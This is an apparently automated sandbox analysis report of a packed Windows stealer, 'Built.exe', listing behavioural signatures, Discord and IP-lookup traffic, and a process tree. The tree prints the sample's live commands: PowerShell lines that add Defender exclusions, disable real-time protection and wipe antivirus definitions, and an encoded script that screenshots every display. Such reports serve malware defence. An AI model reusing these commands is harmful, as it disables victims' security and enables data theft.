e77a62c0b466b2e6893b27ad4d1c9773e3591a65c2dee61e0e9d22415976b63c

Analysis

max time kernel
134s
max time network
146s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
29/05/2024, 18:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Built.exe
Size

7.4MB
MD5

3e977af8a7c8d4f82b2cb16f8d3fc1ba
SHA1

0611bead6cae064efa04f4bfd5ae1b163fee558a
SHA256

e77a62c0b466b2e6893b27ad4d1c9773e3591a65c2dee61e0e9d22415976b63c
SHA512

0775b8dbadd11f4e0ce86e5dd4e8c94579b6315a895b8aa1475516d21726fe4825b90b692a8931b34be30bd469a9e585235f001eff39007c382200145db12f57
SSDEEP

196608:crt60cDeaLjv+bhqNVoBKUh8mz4Iv9Plu1D7AH:gieuL+9qz8/b4IzuRAH

Score

10^/10

evasion execution upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1584	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2376	powershell.exe
4020	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5108	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe
1088	Built.exe

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000001ac4a-25.dat	upx
behavioral1/memory/1088-29-0x00007FFCCA010000-0x00007FFCCA5F9000-memory.dmp	upx
behavioral1/files/0x000700000001ac3d-31.dat	upx
behavioral1/files/0x000700000001ac47-38.dat	upx
behavioral1/memory/1088-36-0x00007FFCD3830000-0x00007FFCD383F000-memory.dmp	upx
behavioral1/memory/1088-35-0x00007FFCCEF80000-0x00007FFCCEFA3000-memory.dmp	upx
behavioral1/files/0x000700000001ac49-39.dat	upx
behavioral1/files/0x000800000001ac3c-45.dat	upx
behavioral1/files/0x000700000001ac4f-44.dat	upx
behavioral1/files/0x000700000001ac40-48.dat	upx
behavioral1/files/0x000700000001ac3f-47.dat	upx
behavioral1/files/0x000700000001ac41-49.dat	upx
behavioral1/files/0x000700000001ac3e-46.dat	upx
behavioral1/files/0x000700000001ac44-52.dat	upx
behavioral1/files/0x000700000001ac43-51.dat	upx
behavioral1/files/0x000700000001ac42-50.dat	upx
behavioral1/files/0x000700000001ac4e-43.dat	upx
behavioral1/files/0x000700000001ac4d-42.dat	upx
behavioral1/files/0x000700000001ac48-34.dat	upx
behavioral1/memory/1088-58-0x00007FFCCEF50000-0x00007FFCCEF7D000-memory.dmp	upx
behavioral1/memory/1088-60-0x00007FFCD1ED0000-0x00007FFCD1EE9000-memory.dmp	upx
behavioral1/memory/1088-62-0x00007FFCCEEF0000-0x00007FFCCEF13000-memory.dmp	upx
behavioral1/memory/1088-64-0x00007FFCCE8A0000-0x00007FFCCEA17000-memory.dmp	upx
behavioral1/memory/1088-68-0x00007FFCD20C0000-0x00007FFCD20CD000-memory.dmp	upx
behavioral1/memory/1088-67-0x00007FFCCEC10000-0x00007FFCCEC29000-memory.dmp	upx
behavioral1/memory/1088-70-0x00007FFCCEBD0000-0x00007FFCCEC03000-memory.dmp	upx
behavioral1/memory/1088-72-0x00007FFCCE3A0000-0x00007FFCCE46D000-memory.dmp	upx
behavioral1/memory/1088-76-0x00007FFCCEF80000-0x00007FFCCEFA3000-memory.dmp	upx
behavioral1/memory/1088-75-0x00007FFCCA010000-0x00007FFCCA5F9000-memory.dmp	upx
behavioral1/memory/1088-80-0x00007FFCCE880000-0x00007FFCCE894000-memory.dmp	upx
behavioral1/memory/1088-78-0x00007FFCC9AE0000-0x00007FFCCA002000-memory.dmp	upx
behavioral1/memory/1088-82-0x00007FFCD1D20000-0x00007FFCD1D2D000-memory.dmp	upx
behavioral1/memory/1088-84-0x00007FFCCE280000-0x00007FFCCE39C000-memory.dmp	upx
behavioral1/memory/1088-322-0x00007FFCCA010000-0x00007FFCCA5F9000-memory.dmp	upx
behavioral1/memory/1088-318-0x00007FFCC9AE0000-0x00007FFCCA002000-memory.dmp	upx
behavioral1/memory/1088-332-0x00007FFCCE3A0000-0x00007FFCCE46D000-memory.dmp	upx
behavioral1/memory/1088-331-0x00007FFCCEBD0000-0x00007FFCCEC03000-memory.dmp	upx
behavioral1/memory/1088-330-0x00007FFCD20C0000-0x00007FFCD20CD000-memory.dmp	upx
behavioral1/memory/1088-329-0x00007FFCCEC10000-0x00007FFCCEC29000-memory.dmp	upx
behavioral1/memory/1088-328-0x00007FFCCE8A0000-0x00007FFCCEA17000-memory.dmp	upx
behavioral1/memory/1088-327-0x00007FFCCEEF0000-0x00007FFCCEF13000-memory.dmp	upx
behavioral1/memory/1088-326-0x00007FFCD1ED0000-0x00007FFCD1EE9000-memory.dmp	upx
behavioral1/memory/1088-325-0x00007FFCCEF50000-0x00007FFCCEF7D000-memory.dmp	upx
behavioral1/memory/1088-324-0x00007FFCCEF80000-0x00007FFCCEFA3000-memory.dmp	upx
behavioral1/memory/1088-323-0x00007FFCD3830000-0x00007FFCD383F000-memory.dmp	upx
behavioral1/memory/1088-321-0x00007FFCCE280000-0x00007FFCCE39C000-memory.dmp	upx
behavioral1/memory/1088-320-0x00007FFCD1D20000-0x00007FFCD1D2D000-memory.dmp	upx
behavioral1/memory/1088-319-0x00007FFCCE880000-0x00007FFCCE894000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\4272278488\2581520266.pri	SecHealthUI.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3372	WMIC.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1992	powershell.exe
2376	powershell.exe
1992	powershell.exe
2376	powershell.exe
2376	powershell.exe
1992	powershell.exe
4020	powershell.exe
4020	powershell.exe
4020	powershell.exe
3556	powershell.exe
3556	powershell.exe
3556	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	4020	powershell.exe
Token: SeIncreaseQuotaPrivilege	2376	powershell.exe
Token: SeSecurityPrivilege	2376	powershell.exe
Token: SeTakeOwnershipPrivilege	2376	powershell.exe
Token: SeLoadDriverPrivilege	2376	powershell.exe
Token: SeSystemProfilePrivilege	2376	powershell.exe
Token: SeSystemtimePrivilege	2376	powershell.exe
Token: SeProfSingleProcessPrivilege	2376	powershell.exe
Token: SeIncBasePriorityPrivilege	2376	powershell.exe
Token: SeCreatePagefilePrivilege	2376	powershell.exe
Token: SeBackupPrivilege	2376	powershell.exe
Token: SeRestorePrivilege	2376	powershell.exe
Token: SeShutdownPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeSystemEnvironmentPrivilege	2376	powershell.exe
Token: SeRemoteShutdownPrivilege	2376	powershell.exe
Token: SeUndockPrivilege	2376	powershell.exe
Token: SeManageVolumePrivilege	2376	powershell.exe
Token: 33	2376	powershell.exe
Token: 34	2376	powershell.exe
Token: 35	2376	powershell.exe
Token: 36	2376	powershell.exe
Token: SeIncreaseQuotaPrivilege	2728	WMIC.exe
Token: SeSecurityPrivilege	2728	WMIC.exe
Token: SeTakeOwnershipPrivilege	2728	WMIC.exe
Token: SeLoadDriverPrivilege	2728	WMIC.exe
Token: SeSystemProfilePrivilege	2728	WMIC.exe
Token: SeSystemtimePrivilege	2728	WMIC.exe
Token: SeProfSingleProcessPrivilege	2728	WMIC.exe
Token: SeIncBasePriorityPrivilege	2728	WMIC.exe
Token: SeCreatePagefilePrivilege	2728	WMIC.exe
Token: SeBackupPrivilege	2728	WMIC.exe
Token: SeRestorePrivilege	2728	WMIC.exe
Token: SeShutdownPrivilege	2728	WMIC.exe
Token: SeDebugPrivilege	2728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2728	WMIC.exe
Token: SeRemoteShutdownPrivilege	2728	WMIC.exe
Token: SeUndockPrivilege	2728	WMIC.exe
Token: SeManageVolumePrivilege	2728	WMIC.exe
Token: 33	2728	WMIC.exe
Token: 34	2728	WMIC.exe
Token: 35	2728	WMIC.exe
Token: 36	2728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2728	WMIC.exe
Token: SeSecurityPrivilege	2728	WMIC.exe
Token: SeTakeOwnershipPrivilege	2728	WMIC.exe
Token: SeLoadDriverPrivilege	2728	WMIC.exe
Token: SeSystemProfilePrivilege	2728	WMIC.exe
Token: SeSystemtimePrivilege	2728	WMIC.exe
Token: SeProfSingleProcessPrivilege	2728	WMIC.exe
Token: SeIncBasePriorityPrivilege	2728	WMIC.exe
Token: SeCreatePagefilePrivilege	2728	WMIC.exe
Token: SeBackupPrivilege	2728	WMIC.exe
Token: SeRestorePrivilege	2728	WMIC.exe
Token: SeShutdownPrivilege	2728	WMIC.exe
Token: SeDebugPrivilege	2728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2728	WMIC.exe
Token: SeRemoteShutdownPrivilege	2728	WMIC.exe
Token: SeUndockPrivilege	2728	WMIC.exe
Token: SeManageVolumePrivilege	2728	WMIC.exe
Token: 33	2728	WMIC.exe
Token: 34	2728	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1828	SecHealthUI.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 1088	2100	Built.exe	72
PID 2100 wrote to memory of 1088	2100	Built.exe	72
PID 1088 wrote to memory of 4536	1088	Built.exe	73
PID 1088 wrote to memory of 4536	1088	Built.exe	73
PID 1088 wrote to memory of 4676	1088	Built.exe	74
PID 1088 wrote to memory of 4676	1088	Built.exe	74
PID 4536 wrote to memory of 2376	4536	cmd.exe	77
PID 4536 wrote to memory of 2376	4536	cmd.exe	77
PID 4676 wrote to memory of 1992	4676	cmd.exe	78
PID 4676 wrote to memory of 1992	4676	cmd.exe	78
PID 1088 wrote to memory of 4484	1088	Built.exe	79
PID 1088 wrote to memory of 4484	1088	Built.exe	79
PID 4484 wrote to memory of 4020	4484	cmd.exe	81
PID 4484 wrote to memory of 4020	4484	cmd.exe	81
PID 4676 wrote to memory of 1584	4676	cmd.exe	83
PID 4676 wrote to memory of 1584	4676	cmd.exe	83
PID 4020 wrote to memory of 1352	4020	powershell.exe	85
PID 4020 wrote to memory of 1352	4020	powershell.exe	85
PID 1352 wrote to memory of 208	1352	csc.exe	86
PID 1352 wrote to memory of 208	1352	csc.exe	86
PID 1088 wrote to memory of 212	1088	Built.exe	87
PID 1088 wrote to memory of 212	1088	Built.exe	87
PID 212 wrote to memory of 5108	212	cmd.exe	89
PID 212 wrote to memory of 5108	212	cmd.exe	89
PID 1088 wrote to memory of 5028	1088	Built.exe	90
PID 1088 wrote to memory of 5028	1088	Built.exe	90
PID 5028 wrote to memory of 2728	5028	cmd.exe	92
PID 5028 wrote to memory of 2728	5028	cmd.exe	92
PID 1088 wrote to memory of 4244	1088	Built.exe	94
PID 1088 wrote to memory of 4244	1088	Built.exe	94
PID 4244 wrote to memory of 3544	4244	cmd.exe	96
PID 4244 wrote to memory of 3544	4244	cmd.exe	96
PID 1088 wrote to memory of 2612	1088	Built.exe	97
PID 1088 wrote to memory of 2612	1088	Built.exe	97
PID 2612 wrote to memory of 1312	2612	cmd.exe	99
PID 2612 wrote to memory of 1312	2612	cmd.exe	99
PID 1088 wrote to memory of 512	1088	Built.exe	100
PID 1088 wrote to memory of 512	1088	Built.exe	100
PID 512 wrote to memory of 3556	512	cmd.exe	102
PID 512 wrote to memory of 3556	512	cmd.exe	102
PID 1088 wrote to memory of 3660	1088	Built.exe	103
PID 1088 wrote to memory of 3660	1088	Built.exe	103
PID 3660 wrote to memory of 3372	3660	cmd.exe	105
PID 3660 wrote to memory of 3372	3660	cmd.exe	105
PID 1088 wrote to memory of 1300	1088	Built.exe	106
PID 1088 wrote to memory of 1300	1088	Built.exe	106
PID 1300 wrote to memory of 1992	1300	cmd.exe	108
PID 1300 wrote to memory of 1992	1300	cmd.exe	108

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Users\Admin\AppData\Local\Temp\Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1992
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4020
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eix4fvew\eix4fvew.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1352
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6F25.tmp" "c:\Users\Admin\AppData\Local\Temp\eix4fvew\CSC1D5739AF3A3D41C696F33B43BFA24984.TMP"
        6⤵
        
        PID:208
- - C:\Windows\system32\cmd.exe
